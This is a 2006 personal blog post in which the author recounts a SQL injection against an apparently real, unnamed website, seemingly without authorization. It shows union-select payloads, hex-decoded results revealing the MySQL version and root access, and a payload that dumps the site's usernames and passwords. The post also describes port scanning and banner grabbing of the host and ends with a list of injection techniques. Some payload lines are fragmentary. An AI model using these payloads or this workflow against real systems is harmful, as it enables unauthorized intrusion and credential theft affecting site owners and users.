Wednesday, August 16, 2006

Mysql injectin try

Another quick note for a mysql injection I experiemented today, this is a classic mysql injection:

With a url
change parameter id to -1 returns normal response,
make it to a,got Unknown column 'a' in 'where clause',
with 1.1, works fine...
so this means this parameter is numeric type, decimal, float, double, int, bigint, or smallint....
( remember that decimal has three types: NUMERIC ,DEC, remember other details)
then craft a union clause,**/select/**/0/*
returns mismatched number columns, keep adding till return noraml page....(should code it up to automate the whole process....someone must have done one, google !!),2,3,34,75736572,75,31,30,29, 28,27,26


I got 342E312E3138
mysql> select 0x342E312E3138
-> ;
+----------------+ is mysql 4.1.18...

Same idea,,2,3,34,75736572,hex(user()),31,30,29,28,27,26,25,

mysql> select 0x726F6F74406C6F63616C686F7374
-> ;
runing with root privileges...


to test the existence of user table, it doesn't. However, it exposed the table name, then it is bruteforceble (construct a txt with list of possible table names, grab status code,sort out the result...) I later found out calling database() yields the same result.

I am curious what the system is (presumbly linux, just want to confirm it), so a quick banner grabing indicates this is a Unix host, and with port scanning found out telnet is open, another banner grab shows it is FreeBSD/i386....all these clues shows i can simly skip trying Windows path for dumping...

ok....time to do homework, resume after test, next I should try to hex, ord or chr someone column fields to bypass the int scheme, and figure out which field is user and pass, check exploit for this specific version mysql (I wont do this for sure, script kiddie shit)or probably dump out a guest readable file(need to know its physical path to do so, how? phpinfo() might be a way to go,but it cant convert to digit....-.-)

Well, all these seems bit script kiddie stuff, but I learnt the idea behind and how to secude code php, but I am still not feeling confortable with mysql injection...while php,mysql are playing pretty important role in the market, I just have to confront and master it.

Resume to yesterday's work.
Someone found out a sql bug on

WebTorrent (WTcom) Script <= 0.2.4

This inspired me to submit,2,3,34,hex(concat(user,char(32),password,char(32))), 2,31,30,29,28,27,

Cool ! it dump out the user and password in hex....Now task done, it can be connected remotely, next step is to hook up and see the inside which I am not intented to do. All these tries are solely to practise my skill....All the techniques are fully described in most whitepapers which can be found somewhere online!

Lesson Learnt:

  • all built-in functions (hex, char, oct, ascii, system,database,user) can get task done more easily.
  • /**/ comment delimeter
  • Put ' single quote
  • Place and 1=1, and 1=0 (blind sql injection)
  • Change the chartset with hex,char,ascii, oct for converting data type
  • Use system functions for probing the database info
  • Check if connection can be connected remotely
  • Use automated tool (e.g:sqlbf...bruteforce will be shown on the log and be detected by admin.)
  • Many more....

No comments: